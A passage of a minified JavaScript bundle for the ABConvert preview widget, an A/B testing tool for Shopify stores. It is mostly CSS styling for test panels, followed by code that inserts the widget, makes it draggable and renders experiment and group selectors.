space-between;\n      align-items: center;\n      font-size: ${G};\n      font-family: ${D};\n      cursor: pointer;\n      text-align: left;\n      transition: background ${nn} ${en};\n    }\n\n    .abconvert-group-item:hover {\n      background: ${a};\n    }\n\n    .abconvert-group-item:focus-visible {\n      outline: none;\n      box-shadow: ${K};\n    }\n\n    .abconvert-group-item.active {\n      background: ${u};\n      cursor: default;\n    }\n\n    .abconvert-group-item .name {\n      font-weight: 400;\n      color: ${f};\n    }\n\n    .abconvert-group-item.active .name {\n      font-weight: ${B};\n      color: ${$};\n    }\n\n    .abconvert-group-item .percentage {\n      font-size: ${j};\n      color: ${b};\n      font-variant-numeric: tabular-nums;\n    }\n\n    .abconvert-group-item.active .percentage {\n      color: ${$};\n    }\n\n    /* Badge - Polaris Badge component */\n    .abconvert-badge {\n      display: inline-flex;\n      align-items: center;\n      gap: ${A};\n      padding: ${T} ${M};\n      border-radius: ${Z};\n      font-size: ${N};\n      font-weight: ${B};\n      line-height: 1.4;\n    }\n\n    .abconvert-badge-success {\n      background: ${c};\n      color: ${m};\n    }\n\n    .abconvert-badge-info {\n      background: ${v};\n      color: ${w};\n    }\n\n    .abconvert-badge-warning {\n      background: ${p};\n      color: ${x};\n    }\n\n    .abconvert-badge-dot {\n      width: 6px;\n      height: 6px;\n      border-radius: 50%;\n      background: currentColor;\n    }\n\n    /* Offer Test Panel — mirrors admin OfferSummaryDisplay pattern */\n    .abconvert-offer-card {\n      display: flex;\n      flex-direction: column;\n      gap: ${z};\n      background: ${i};\n      border: 1px solid ${E};\n      border-radius: ${W};\n      padding: ${z};\n    }\n\n    .abconvert-offer-head {\n      display: flex;\n      flex-direction: column;\n      gap: ${A};\n    }\n\n    .abconvert-offer-primary-row {\n      display: flex;\n      align-items: flex-start;\n      justify-content: space-between;\n      gap: ${M};\n    }\n\n    .abconvert-offer-primary {\n      flex: 1;\n      min-width: 0;\n      font-size: ${U};\n      font-weight: 400;\n      color: ${f};\n      letter-spacing: ${F};\n      line-height: ${V};\n      word-break: break-word;\n    }\n\n    .abconvert-offer-secondary {\n      font-size: ${j};\n      color: ${b};\n      word-break: break-word;\n    }\n\n    .abconvert-offer-type {\n      flex-shrink: 0;\n      align-self: flex-start;\n      padding: 2px ${M};\n      border-radius: 999px;\n      background: ${v};\n      font-size: ${N};\n      font-weight: ${B};\n      color: ${w};\n      line-height: 1.25;\n      white-space: nowrap;\n    }
901\n\n    .abconvert-offer-type-empty {\n      background: ${i};\n      color: ${b};\n    }\n\n    .abconvert-offer-scope {\n      display: flex;\n      flex-direction: row;\n      gap: ${M};\n      align-items: flex-start;\n      padding: ${M} ${z};\n      background: ${o};\n      border: 1px solid ${E};\n      border-radius: ${H};\n    }\n\n    .abconvert-offer-scope-icon {\n      flex-shrink: 0;\n      color: ${S};\n      display: flex;\n      align-items: center;\n      margin-top: 2px;\n    }\n\n    .abconvert-offer-scope-body {\n      display: flex;\n      flex-direction: column;\n      gap: ${T};\n      flex: 1;\n      min-width: 0;\n    }\n\n    .abconvert-offer-scope-count {\n      font-size: ${N};\n      font-weight: ${B};\n      color: ${b};\n    }\n\n    .abconvert-offer-scope-names {\n      display: flex;\n      flex-direction: row;\n      gap: ${R};\n      align-items: center;\n      flex-wrap: wrap;\n      font-size: ${j};\n      color: ${f};\n      word-break: break-word;\n    }\n\n    .abconvert-offer-overflow {\n      position: relative;\n      display: inline-flex;\n      align-items: center;\n      padding: ${T} ${R};\n      background: ${r};\n      border-radius: ${q};\n      font-size: ${N};\n      color: ${b};\n    }\n\n    /* Fast CSS-only tooltip — replaces native title="" so we don't inherit the\n       browser's ~700ms hover delay. The widget container is overflow-hidden,\n       so the tooltip is anchored to the chip's left edge and extends rightward\n       (the +N more chip always sits near the widget's left side) to avoid\n       getting clipped. Width-capped so long lists wrap. */\n    .abconvert-offer-overflow::before {\n      content: attr(data-tooltip);\n      position: absolute;\n      bottom: calc(100% + ${A});\n      left: 0;\n      max-width: 220px;\n      width: max-content;\n      padding: ${R} ${M};\n      background: ${f};\n      color: ${y};\n      border-radius: ${q};\n      font-size: ${N};\n      line-height: ${V};\n      white-space: normal;\n      word-break: break-word;\n      text-align: left;\n      pointer-events: none;\n      opacity: 0;\n      transition: opacity ${X} ${J};\n      z-index: 1;\n    }\n\n    .abconvert-offer-overflow:hover::before,\n    .abconvert-offer-overflow:focus-visible::before {\n      opacity: 1;\n    }\n\n    /* Volume tier breakdown — 2-column threshold/discount table.\n       Lets merchants verify each tier rule from the storefront preview without\n       opening the admin. White card sits between the head block and scope row. */\n    .abconvert-offer-tier-table {\n      display: flex;\n      flex-direction: column;\n      background: ${o};\n      border: 1px solid ${E};\n      border-radius: ${H};\n      overflow: hidden;\n    }\n\n    .abconvert-offer-tier-header {\n      display: grid;\n      grid-template-columns: 1fr 1fr;\n      gap: ${M};\n      padding: ${M} ${z};\n      background: ${i};\n      border-bottom: 1px solid ${E};\n    }\n\n    .abconvert-offer-tier-header-label {\n      font-size: ${N};\n      font-weight: ${B};\n      color: ${b};\n      text-transform: uppercase;\n      letter-spacing: 0.5px;\n    }\n\n    .abconvert-offer-tier-row {\n      display: grid;\n      grid-template-columns: 1fr 1fr;\n      gap: ${M};\n      padding: ${M} ${z};\n      font-size: ${j};\n      color: ${f};\n    }\n\n    .abconvert-offer-tier-row + .abconvert-offer-tier-row {\n      border-top: 1px solid ${E};\n    }\n\n    .abconvert-offer-tier-qty {\n      color: ${f};\n    }\n\n    .abconvert-offer-tier-discount {\n      color: ${f};\n      font-weight: ${B};\n      font-variant-numeric: tabular-nums;\n    }\n\n    /* Checkout Test Panel — Delivery / Payment / Content / Cart / Upsell.\n       Categories mirror the editor picker; rows share a single icon-slot +\n       type/op + summary template so the panel scans top-to-bottom. */\n    .abconvert-checkout-panel {\n      display: flex;\n      flex-direction: column;\n      gap: ${z};\n    }\n\n    /* Combined test panel (PRO-2273): one collapsible per stacked modification,\n       whose body is that type's own preview panel. Header = type + short summary. */\n    .abconvert-combined-mod {\n      display: flex;\n      flex-direction: column;\n      border: 1px solid ${E};\n      border-radius: ${W};\n      overflow: hidden;\n      margin-bottom: ${M};\n    }\n\n    .abconvert-combined-mod-head {\n      display: flex;\n      align-items: center;\n      justify-content: space-between;\n      width: 100%;\n      padding: ${R} ${M};\n      background: ${i};\n      border: none;\n      font-family: ${D};\n      color: ${f};\n      cursor: pointer;\n      text-align: left;\n      transition: background-color ${X} ${J};\n    }\n\n    .abconvert-combined-mod-head:hover {\n      background-color: ${a};\n    }\n\n    .abconvert-combined-mod-label {\n      font-size: ${N};\n      font-weight: ${O};\n      color: ${f};\n    }\n\n    .abconvert-combined-mod-meta {\n      display: inline-flex;\n      align-items: center;\n      gap: ${R};\n    }\n\n    .abconvert-combined-mod-summary {\n      font-size: 10px;\n      font-weight: ${B};\n      color: ${b};\n    }\n\n    .abconvert-combined-mod-arrow {\n      color: ${S};\n      transition: transform ${Y} ${Q};\n      display: inline-flex;\n      align-items: center;\n    }\n\n    .abconvert-combined-mod-arrow.expanded {\n      transform: rotate(180deg);\n    }\n\n    .abconvert-combined-mod-content {\n      max-height: 0;\n      overflow: hidden;\n      padding: 0 ${M};\n    }\n\n    .abconvert-combined-mod-content.expanded {\n      padding: ${M};\n    }
901\n\n    .abconvert-combined-mod-empty {\n      font-size: ${N};\n      color: ${b};\n      text-align: center;\n    }\n\n    .abconvert-checkout-section {\n      display: flex;\n      flex-direction: column;\n      gap: ${M};\n    }\n\n    .abconvert-checkout-section-head {\n      display: flex;\n      align-items: center;\n      justify-content: space-between;\n      width: 100%;\n      padding: ${A} ${R};\n      margin: 0 -${R};\n      background: none;\n      border: none;\n      border-radius: ${q};\n      font-family: ${D};\n      color: ${f};\n      cursor: pointer;\n      text-align: left;\n      transition: background-color ${X} ${J};\n    }\n\n    .abconvert-checkout-section-head:hover {\n      background-color: ${a};\n    }\n\n    .abconvert-checkout-section-head:hover .abconvert-checkout-section-label,\n    .abconvert-checkout-section-head:focus-visible .abconvert-checkout-section-label {\n      color: ${f};\n    }\n\n    .abconvert-checkout-section-head:focus-visible {\n      outline: none;\n      background-color: ${a};\n    }\n\n    .abconvert-checkout-section-label {\n      font-size: ${N};\n      font-weight: ${O};\n      color: ${b};\n      text-transform: uppercase;\n      letter-spacing: 0.06em;\n    }\n\n    .abconvert-checkout-section-meta {\n      display: inline-flex;\n      align-items: center;\n      gap: ${R};\n    }\n\n    .abconvert-checkout-section-count {\n      font-size: ${N};\n      font-weight: ${B};\n      color: ${b};\n    }\n\n    .abconvert-checkout-section-arrow {\n      color: ${S};\n      transition: transform ${Y} ${Q};\n      display: inline-flex;\n      align-items: center;\n    }\n\n    .abconvert-checkout-section-arrow.expanded {\n      transform: rotate(180deg);\n    }\n\n    .abconvert-checkout-section-arrow svg {\n      display: block;\n    }\n\n    .abconvert-checkout-section-rows {\n      display: none;\n      flex-direction: column;\n      gap: ${A};\n      margin-top: ${M};\n    }\n\n    .abconvert-checkout-section-rows.expanded {\n      display: flex;\n    }\n\n    .abconvert-checkout-row {\n      display: flex;\n      align-items: flex-start;\n      gap: ${M};\n      padding: ${M};\n      background: ${i};\n      border: 1px solid ${E};\n      border-radius: ${W};\n    }\n\n    .abconvert-checkout-icon {\n      flex-shrink: 0;\n      width: 28px;\n      height: 28px;\n      display: flex;\n      align-items: center;\n      justify-content: center;\n      background: ${o};\n      border: 1px solid ${k};\n      border-radius: ${H};\n      color: ${f};\n    }\n\n    .abconvert-checkout-icon-hide {\n      background: ${d};\n      border-color: ${s};\n      color: ${h};\n    }\n\n    .abconvert-checkout-icon-rename {\n      background: ${u};\n      border-color: ${l};\n      color: ${w};\n    }\n\n    .abconvert-checkout-body {\n      display: flex;\n      flex-direction: column;\n      gap: ${A};\n      flex: 1;\n      min-width: 0;\n    }\n\n    .abconvert-checkout-row-head {\n      display: flex;\n      align-items: center;\n      gap: ${R};\n      flex-wrap: wrap;\n    }\n\n    .abconvert-checkout-type {\n      font-size: 10px;\n      font-weight: ${O};\n      color: ${b};\n      text-transform: uppercase;\n      letter-spacing: 0.04em;\n    }\n\n    .abconvert-checkout-type-hide {\n      color: ${h};\n    }\n\n    .abconvert-checkout-type-rename {\n      color: ${w};\n    }\n\n    .abconvert-checkout-meta {\n      font-size: 10px;\n      font-weight: ${B};\n      color: ${b};\n      padding: 1px ${R};\n      background: ${o};\n      border: 1px solid ${E};\n      border-radius: 2px;\n    }\n\n    .abconvert-checkout-meta-success {\n      color: ${m};\n      background: ${c};\n      border-color: #a0e4cb;\n    }\n\n    .abconvert-checkout-meta-critical {\n      color: ${h};\n      background: ${d};\n      border-color: ${s};\n    }\n\n    .abconvert-checkout-meta-warning {\n      color: ${x};\n      background: ${p};\n      border-color: #ffe291;\n    }\n\n    .abconvert-checkout-meta-info {\n      color: ${w};\n      background: ${u};\n      border-color: ${l};\n    }\n\n    .abconvert-checkout-row-text {\n      font-size: ${j};\n      font-weight: ${B};\n      color: ${f};\n      overflow: hidden;\n      text-overflow: ellipsis;\n      white-space: nowrap;\n    }\n\n    .abconvert-checkout-row-text-inline {\n      font-size: ${j};\n      font-weight: ${B};\n      color: ${f};\n    }\n\n    .abconvert-checkout-chip-row {\n      display: flex;\n      flex-wrap: wrap;\n      gap: ${A};\n      align-items: center;\n    }\n\n    .abconvert-checkout-method-chip {\n      display: inline-flex;\n      align-items: center;\n      gap: ${A};\n      font-size: ${N};\n      font-weight: ${B};\n      color: ${f};\n      padding: ${T} ${R};\n      background: ${o};\n      border: 1px solid ${k};\n      border-radius: ${q};\n    }\n\n    .abconvert-checkout-method-chip-strong {\n      font-weight: ${O};\n    }\n\n    .abconvert-checkout-pin-idx {\n      font-size: 9px;\n      font-weight: 700;\n      color: ${b};\n    }\n\n    .abconvert-checkout-rename-list {\n      display: flex;\n      flex-direction: column;\n      gap: ${A};\n    }\n\n    .abconvert-checkout-rename-rule {\n      display: flex;\n      align-items: center;\n      gap: ${R};\n      flex-wrap: wrap;\n    }\n\n    .abconvert-checkout-rename-arrow {\n      color: ${b};\n      display: inline-flex;\n      align-items: center;\n    }\n\n    .abconvert-checkout-flag {\n      display: inline-flex;\n      align-items: center;\n      gap: ${A};\n      font-size: ${N};\n      font-weight: ${B};\n      padding: ${T} ${R};\n      border-radius: ${q};\n    }\n\n    .abconvert-checkout-flag-on {\n      color: ${m};\n      background: ${c};\n    }\n\n    .abconvert-checkout-flag-off {\n      color: ${g};\n      background: ${r};\n      text-decoration: line-through;\n    }
901\n\n    .abconvert-checkout-empty {\n      font-size: ${j};\n      color: ${b};\n      padding: ${z};\n      text-align: center;\n    }\n\n    /* Collapsible Section - Polaris Collapsible pattern */\n    .abconvert-collapsible-header {\n      width: 100%;\n      background: none;\n      border: none;\n      padding: ${M} 0;\n      text-align: left;\n      cursor: pointer;\n      font-weight: ${B};\n      font-size: ${G};\n      font-family: ${D};\n      color: ${f};\n      display: flex;\n      justify-content: space-between;\n      align-items: center;\n      transition: color ${nn} ${en};\n    }\n\n    .abconvert-collapsible-header:hover {\n      color: ${$};\n    }\n\n    .abconvert-collapsible-header:focus-visible {\n      outline: none;\n      color: ${$};\n    }\n\n    .abconvert-collapsible-arrow {\n      color: ${S};\n      transition: transform ${Y} ${Q};\n      display: flex;\n      align-items: center;\n    }\n\n    .abconvert-collapsible-arrow svg {\n      width: 16px;\n      height: 16px;\n    }\n\n    .abconvert-collapsible-arrow.expanded {\n      transform: rotate(180deg);\n    }\n\n    .abconvert-collapsible-content {\n      max-height: 0;\n      overflow: hidden;\n      transition: max-height 300ms ${Q};\n    }\n\n    .abconvert-collapsible-content.expanded {\n      max-height: 2000px;\n    }\n\n    /* Product List - Polaris ResourceItem pattern */\n    .abconvert-product-list {\n      max-height: 200px;\n      overflow-y: auto;\n      scrollbar-width: thin;\n      scrollbar-color: ${k} transparent;\n    }\n\n    .abconvert-product-list::-webkit-scrollbar {\n      width: 4px;\n    }\n\n    .abconvert-product-list::-webkit-scrollbar-thumb {\n      background: ${k};\n      border-radius: ${Z};\n    }\n\n    .abconvert-product-item {\n      display: flex;\n      align-items: center;\n      gap: ${z};\n      padding: ${M} ${z};\n      margin: ${T} 0;\n      border-radius: ${q};\n      text-decoration: none;\n      color: ${f};\n      transition: background ${nn} ${en};\n    }\n\n    .abconvert-product-item:hover {\n      background: ${a};\n    }\n\n    .abconvert-product-item:focus-visible {\n      outline: none;\n      box-shadow: ${K};\n    }\n\n    .abconvert-product-image {\n      width: 40px;\n      height: 40px;\n      border-radius: ${q};\n      object-fit: cover;\n      border: 1px solid ${E};\n      background: ${r};\n      flex-shrink: 0;\n    }\n\n    .abconvert-product-info {\n      flex: 1;\n      min-width: 0;\n    }\n\n    .abconvert-product-title {\n      font-size: ${G};\n      font-weight: ${B};\n      color: ${f};\n      overflow: hidden;\n      text-overflow: ellipsis;\n      white-space: nowrap;\n    }\n\n    .abconvert-product-price {\n      font-size: ${j};\n      color: ${b};\n      margin-top: ${T};\n      font-variant-numeric: tabular-nums;\n    }\n\n    .abconvert-product-price s {\n      color: ${g};\n      margin-right: ${A};\n    }\n\n    .abconvert-product-price .current-price {\n      color: ${m};\n      font-weight: ${B};\n    }\n\n    .abconvert-product-variants {\n      font-size: ${N};\n      color: ${b};\n      margin-top: ${T};\n    }\n\n    .abconvert-product-arrow {\n      color: ${S};\n      flex-shrink: 0;\n      display: flex;\n      align-items: center;\n    }\n\n    .abconvert-product-arrow svg {\n      width: 16px;\n      height: 16px;\n    }\n\n    /* Shipping Test Panel */\n    .abconvert-shipping-groups {\n      display: flex;\n      flex-direction: column;\n      gap: ${M};\n    }\n\n    .abconvert-shipping-group-card {\n      border: 1px solid ${E};\n      border-radius: ${W};\n      background: ${o};\n      overflow: hidden;\n    }\n\n    .abconvert-shipping-group-card.active {\n      border-color: ${E};\n    }\n\n    .abconvert-shipping-group-header {\n      padding: ${M} ${z};\n      font-weight: ${B};\n      font-size: ${j};\n      background: ${i};\n      border-bottom: 1px solid ${E};\n    }\n\n    .abconvert-shipping-zone {\n      padding: ${M} ${z};\n    }\n\n    .abconvert-shipping-zone + .abconvert-shipping-zone {\n      margin-top: ${M};\n    }\n\n    .abconvert-shipping-zone-name {\n      font-size: ${j};\n      font-weight: ${O};\n      color: ${f};\n      margin-bottom: ${A};\n      padding-bottom: ${A};\n      border-bottom: 1px solid ${E};\n    }\n\n    .abconvert-shipping-rate-row {\n      display: flex;\n      align-items: baseline;\n      gap: ${A};\n      font-size: ${j};\n      padding: ${T} 0;\n      flex-wrap: wrap;\n    }\n\n    .abconvert-shipping-rate-name {\n      flex: 1;\n      min-width: 0;\n      overflow: hidden;\n      text-overflow: ellipsis;\n      white-space: nowrap;\n      color: ${f};\n    }\n\n    .abconvert-shipping-rate-price {\n      flex-shrink: 0;\n      font-weight: ${B};\n      font-variant-numeric: tabular-nums;\n      color: ${f};\n    }\n\n    .abconvert-shipping-rate-condition {\n      width: 100%;\n      font-size: ${N};\n      color: ${b};\n      padding-left: ${M};\n    }\n\n    .abconvert-shipping-no-rates {\n      padding: ${M} ${z};\n      font-size: ${j};\n      color: ${b};\n      font-style: italic;\n    }\n\n    /* Visual Editor Tabs */\n    .abconvert-ve-tabs {\n      display: flex;\n      border-bottom: 1px solid ${E};\n      margin-bottom: ${z};\n      gap: 0;\n    }\n\n    .abconvert-ve-tab {\n      flex: 1;\n      background: none;\n      border: none;\n      border-bottom: 2px solid transparent;\n      padding: ${M} ${z};\n      font-size: ${j};\n      font-weight: ${B};\n      font-family: ${D};\n      color: ${b};\n      cursor: pointer;\n      transition: color ${nn} ${en},\n                  border-color ${nn} ${en};\n      text-align: center;\n    }\n\n    .abconvert-ve-tab:hover:not(:disabled) {\n      color: ${f};\n    }\n\n    .abconvert-ve-tab.active {\n      color: ${f};\n      border-bottom-color: ${P};\n    }\n\n    .abconvert-ve-tab:disabled {\n      color: ${g};
901\n      cursor: not-allowed;\n    }\n\n    .abconvert-ve-code-block {\n      margin-bottom: ${A};\n    }\n\n    .abconvert-ve-code-toggle {\n      display: flex;\n      align-items: center;\n      gap: ${A};\n      background: none;\n      border: none;\n      padding: ${A} 0;\n      cursor: pointer;\n      font-family: ${D};\n      font-size: ${N};\n      color: ${b};\n    }\n\n    .abconvert-ve-code-toggle:hover {\n      color: ${f};\n    }\n\n    .abconvert-ve-code-chevron {\n      display: flex;\n      align-items: center;\n      transition: transform ${Y} ${Q};\n    }\n\n    .abconvert-ve-code-chevron.expanded {\n      transform: rotate(180deg);\n    }\n\n    .abconvert-ve-code-content {\n      max-height: 0;\n      overflow: hidden;\n      transition: max-height ${Y} ${Q};\n    }\n\n    .abconvert-ve-code-content.expanded {\n      max-height: 400px;\n      overflow-y: auto;\n    }\n\n    .abconvert-ve-code-pre {\n      font-family: ${_};\n      font-size: ${N};\n      line-height: ${V};\n      background: ${r};\n      border: 1px solid ${E};\n      border-radius: ${q};\n      padding: ${M};\n      margin: 0;\n      white-space: pre-wrap;\n      word-break: break-word;\n      color: ${f};\n    }\n\n    .abconvert-ve-code-hint {\n      font-size: ${N};\n      color: ${b};\n      margin-bottom: ${M};\n    }\n\n    .abconvert-ve-empty {\n      font-size: ${j};\n      color: ${b};\n      padding: ${M} 0;\n      text-align: center;\n    }\n\n    /* Page List - Visual Editor panel */\n    .abconvert-page-list {\n      max-height: 200px;\n      overflow-y: auto;\n      scrollbar-width: thin;\n      scrollbar-color: ${k} transparent;\n    }\n\n    .abconvert-page-list::-webkit-scrollbar {\n      width: 4px;\n    }\n\n    .abconvert-page-list::-webkit-scrollbar-thumb {\n      background: ${k};\n      border-radius: ${Z};\n    }\n\n    .abconvert-page-item {\n      display: flex;\n      align-items: center;\n      gap: ${z};\n      padding: ${M} ${z};\n      margin: ${T} 0;\n      border-radius: ${q};\n      text-decoration: none;\n      color: ${f};\n      transition: background ${nn} ${en};\n    }\n\n    .abconvert-page-item:hover {\n      background: ${a};\n    }\n\n    .abconvert-page-item:focus-visible {\n      outline: none;\n      box-shadow: ${K};\n    }\n\n    .abconvert-page-item.active {\n      background: ${u};\n    }\n\n    .abconvert-page-icon {\n      flex-shrink: 0;\n      color: ${S};\n      display: flex;\n      align-items: center;\n    }\n\n    .abconvert-page-info {\n      flex: 1;\n      min-width: 0;\n    }\n\n    .abconvert-page-path {\n      font-size: ${G};\n      font-weight: ${B};\n      color: ${f};\n      overflow: hidden;\n      text-overflow: ellipsis;\n      white-space: nowrap;\n      font-family: ${_};\n    }\n\n    .abconvert-page-changes {\n      font-size: ${N};\n      color: ${b};\n      margin-top: ${T};\n    }\n\n    /* Debug Panel */\n    .abconvert-debug-section {\n      border-top: 1px solid ${E};\n      margin-top: ${z};\n      padding-top: ${z};\n    }\n\n    .abconvert-debug-header {\n      color: ${b};\n      font-size: ${j};\n      font-weight: ${B};\n      margin-bottom: ${M};\n    }\n\n    .abconvert-context-grid {\n      display: grid;\n      grid-template-columns: 90px 1fr;\n      gap: ${A} ${M};\n      font-size: ${j};\n    }\n\n    .abconvert-context-label {\n      color: ${b};\n    }\n\n    .abconvert-context-value {\n      font-family: ${_};\n      font-size: ${N};\n      color: ${f};\n      overflow: hidden;\n      text-overflow: ellipsis;\n      white-space: nowrap;\n    }\n\n    /* Info Banner - Polaris Banner component */\n    .abconvert-info-banner {\n      display: flex;\n      align-items: flex-start;\n      gap: ${M};\n      border-radius: ${W};\n      padding: ${z};\n      margin-bottom: ${L};\n      font-size: ${j};\n      line-height: ${V};\n      box-shadow: none;\n    }\n\n    .abconvert-info-banner .abconvert-badge {\n      flex-shrink: 0;
901\n      margin-top: 1px;\n    }\n\n    .abconvert-info-banner.highlight {\n      background: ${v};\n      border-left: 3px solid ${w};\n    }\n\n    .abconvert-info-banner.warning {\n      background: ${p};\n      border-left: 3px solid ${x};\n    }\n\n    .abconvert-info-banner.success {\n      background: ${c};\n      border-left: 3px solid ${m};\n    }\n\n    .abconvert-info-banner.critical {\n      background: ${d};\n      border-left: 3px solid ${h};\n    }\n\n    /* Override Controls */\n    .abconvert-override-grid {\n      display: grid;\n      grid-template-columns: 1fr 1fr;\n      gap: ${M};\n    }\n\n    .abconvert-override-select {\n      padding: ${R} ${M};\n      padding-right: 28px;\n      border: 1px solid ${k};\n      border-radius: ${q};\n      font-size: ${j};\n      font-family: ${D};\n      background-color: ${o};\n      background-image: url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='10' height='10' viewBox='0 0 20 20' fill='%23616161'%3E%3Cpath d='M10 14l-5-5h10l-5 5z'/%3E%3C/svg%3E");\n      background-repeat: no-repeat;\n      background-position: right 8px center;\n      appearance: none;\n      cursor: pointer;\n    }\n\n    .abconvert-override-select:focus {\n      outline: none;\n      border-color: ${I};\n      box-shadow: 0 0 0 1px ${I};\n    }\n\n    .abconvert-button-group {\n      display: flex;\n      gap: ${M};\n      margin-top: ${L};\n    }\n\n    .abconvert-button-group .abconvert-btn {\n      flex: 1;\n    }\n\n    /* Result Box */\n    .abconvert-result-box {\n      display: none;\n      margin-top: ${L};\n      padding: ${z};\n      border-radius: ${W};\n      font-size: ${j};\n      line-height: ${V};\n    }\n\n    .abconvert-result-box.visible {\n      display: block;\n    }\n\n    .abconvert-result-box.success {\n      background: ${c};\n      color: ${m};\n    }\n\n    .abconvert-result-box.error {\n      background: ${d};\n      color: ${h};\n    }\n\n    .abconvert-result-box.info {\n      background: ${v};\n      color: ${w};\n    }\n\n    .abconvert-result-box.warning {\n      background: ${p};\n      color: ${x};\n    }\n\n    /* Status indicators */\n    .abconvert-status-icon {\n      font-weight: ${O};\n      font-size: ${U};\n    }\n\n    .abconvert-status-icon.pass {\n      color: ${m};\n    }\n\n    .abconvert-status-icon.fail {\n      color: ${h};\n    }\n\n    /* Section headers - Polaris Text subdued pattern */\n    .abconvert-section-header {\n      font-weight: ${B};\n      font-size: ${N};\n      color: ${b};\n      margin-bottom: ${M};\n      text-transform: uppercase;\n      letter-spacing: 0.5px;\n    }\n\n    /* Experiment info */\n    .abconvert-experiment-info {\n      margin-bottom: ${L};\n    }\n\n    .abconvert-experiment-name {\n      font-weight: ${O};\n      font-size: ${U};\n      margin-bottom: ${A};\n      color: ${f};\n    }\n\n    .abconvert-experiment-meta {\n      display: flex;\n      align-items: center;\n      gap: ${M};\n      margin-bottom: ${M};\n      flex-wrap: wrap;\n    }\n\n    .abconvert-experiment-id {\n      font-size: ${j};\n      color: ${b};\n      font-family: ${_};\n    }\n\n    /* Divider */\n    .abconvert-divider {\n      height: 1px;\n      background: ${E};\n      margin: ${L} 0;\n    }\n\n    /* Empty state */\n    .abconvert-empty-state {\n      text-align: center;\n      padding: 24px ${L};\n      color: ${b};\n    }\n\n    .abconvert-empty-state-text {\n      font-size: ${j};\n    }\n\n    /* Loading state */\n    .abconvert-loading {\n      display: flex;\n      align-items: center;\n      justify-content: center;\n      padding: ${L};\n    }\n\n    .abconvert-spinner {\n      width: 20px;\n      height: 20px;\n      border: 2px solid ${E};\n      border-top-color: ${P};\n      border-radius: 50%;\n      animation: abconvert-spin 0.8s linear infinite;\n    }\n\n    @keyframes abconvert-spin {\n      to {\n        transform: rotate(360deg);\n      }\n    }\n\n    /* Tooltip */\n    .abconvert-tooltip {\n      position: absolute;\n      background: ${f};\n      color: ${y};\n      padding: ${A} ${M};\n      border-radius: ${q};\n      font-size: ${N};\n      white-space: nowrap;\n      z-index: 1000;\n      pointer-events: none;\n      opacity: 0;\n      transition: opacity ${nn} ${en};\n    }\n\n    .abconvert-tooltip.visible {\n      opacity: 1;\n    }\n\n    /* Accessibility: Reduce motion */\n    @media (prefers-reduced-motion: reduce) {\n      .abconvert-widget *,\n      .abconvert-widget *::before,\n      .abconvert-widget *::after {\n        animation-duration: 0.01ms !important;\n        animation-iteration-count: 1 !important;\n        transition-duration: 0.01ms !important;\n      }\n    }\n  `,e=document.createElement("style");e.id=tn,e.textContent=n,document.head.appendChild(e)}();const hn=function(n){const e=function(n){let{totalExperiments:e}=n;return`\n    <div id="abconvert-widget-header" class="abconvert-widget-header">\n      \n    <svg class="abconvert-drag-handle" width="12" height="16" viewB
901ox="0 0 12 16" fill="none">\n      <circle cx="3" cy="3" r="1.5" fill="currentColor"/>\n      <circle cx="9" cy="3" r="1.5" fill="currentColor"/>\n      <circle cx="3" cy="8" r="1.5" fill="currentColor"/>\n      <circle cx="9" cy="8" r="1.5" fill="currentColor"/>\n      <circle cx="3" cy="13" r="1.5" fill="currentColor"/>\n      <circle cx="9" cy="13" r="1.5" fill="currentColor"/>\n    </svg>\n  \n      <div class="abconvert-widget-title">\n        <div class="abconvert-widget-title-text">ABConvert Preview</div>\n        <div class="abconvert-widget-subtitle">${1===e?"1 Preview Test in this theme":`${e} Preview Tests in this theme`}</div>\n      </div>\n      <button id="abconvert-widget-close" class="abconvert-close-btn" title="Close">\n        &times;\n      </button>\n    </div>\n  `}({totalExperiments:Object.keys(n.experiments).length}),t=bn(n);return`\n    <div id="${vn}" class="abconvert-widget">\n      ${e}\n      <div class="abconvert-widget-content">\n        ${t}\n      </div>\n    </div>\n  `}(fn);try{document.body.insertAdjacentHTML("beforeend",hn)}catch(n){return void console.error("[ABConvert] Failed to insert widget:",n)}const $n=document.getElementById(vn);$n&&($n.dataset.experimentId=an,function(n,e){const t=n.querySelector("#abconvert-widget-header");t&&function(n,e){let t,o,r,i,a=!1;e.addEventListener("mousedown",(c=>{r=c.clientX,i=c.clientY;const s=n.getBoundingClientRect();t=s.left,o=s.top,n.style.right="auto",n.style.left=t+"px",n.style.top=o+"px",n.style.transform="none",a=!0,e.classList.add("dragging")})),document.addEventListener("mousemove",(e=>{if(!a)return;e.preventDefault();const c=e.clientX-r,s=e.clientY-i,d=t+c,l=o+s,u=window.innerWidth-n.offsetWidth,p=window.innerHeight-n.offsetHeight,v=Math.max(0,Math.min(d,u)),f=Math.max(0,Math.min(l,p));n.style.left=v+"px",n.style.top=f+"px"})),document.addEventListener("mouseup",(()=>{a&&(a=!1,e.classList.remove("dragging"))}))}(n,t),function(n){const e=n.querySelector("#abconvert-widget-close");e&&e.addEventListener("click",(()=>{n.style.display="none"}))}(n),mn(n,e)}($n,fn))}function bn(n){const{testType:e,experiments:t,experimentId:o,experimentData:r,currentGroupIndex:i,isV5:a,debugInfo:c,debugApi:s}=n,d=r.groups||[],l=(0,on.uH)(),u=function(n){let{experiments:e,currentExperimentId:t}=n;const o=Object.keys(e);return o.length<=1?"":`\n    <div class="abconvert-section">\n      <label class="abconvert-section-label">Select Experiment</label>\n      <select id="abconvert-experiment-selector" class="abconvert-select">\n        ${o.map((n=>{const o=e[n],r=o.experimentId||n,i=o.name||"Untitled Experiment";return`<option value="${n}" ${n===t?"selected":""}>${i} (#${r})</option>`})).join("")}\n      </select>\n    </div>\n  `}({experiments:t,currentExperimentId:o}),p=function(n){let{name:e,experimentId:t,status:o}=n;return`\n    <div class="abconvert-experiment-info">\n      <div class="abconvert-experiment-name">${e||"Price Test Preview"}</div>\n      <div class="abconvert-experiment-meta">\n        <span class="abconvert-experiment-id">#${t||"—"}</span>\n        <span class="abconvert-badge abconvert-badge-success">\n          <span class="abconvert-badge-dot"></span>\n          ${o||"Preview"} Mode\n        </span>\n      </div>\n    </div>\n  `}({name:r.name,experimentId:r.experimentId||o,status:r.status||"Preview"}),v=function(n){let{groups:e,currentGroupIndex:t}=n;const o=e.map(((n,e)=>{const o=n.name||`Group ${e+1}`,r=n.percentage||0;return`\n      <button\n        class="abconvert-group-item ${e===t?"active":""}"\n        data-group-index="${e}"\n        type="button"\n      >\n        <span class="name">${o}</span>\n        <span class="percentage">${r}%</span>\n      </button>\n    `})).join("");return`\n    <div class="abconvert-section">\n      <div class="abconvert-section-label">Test Groups (${e.length})</div>\n      <div class="abconvert-card">\n        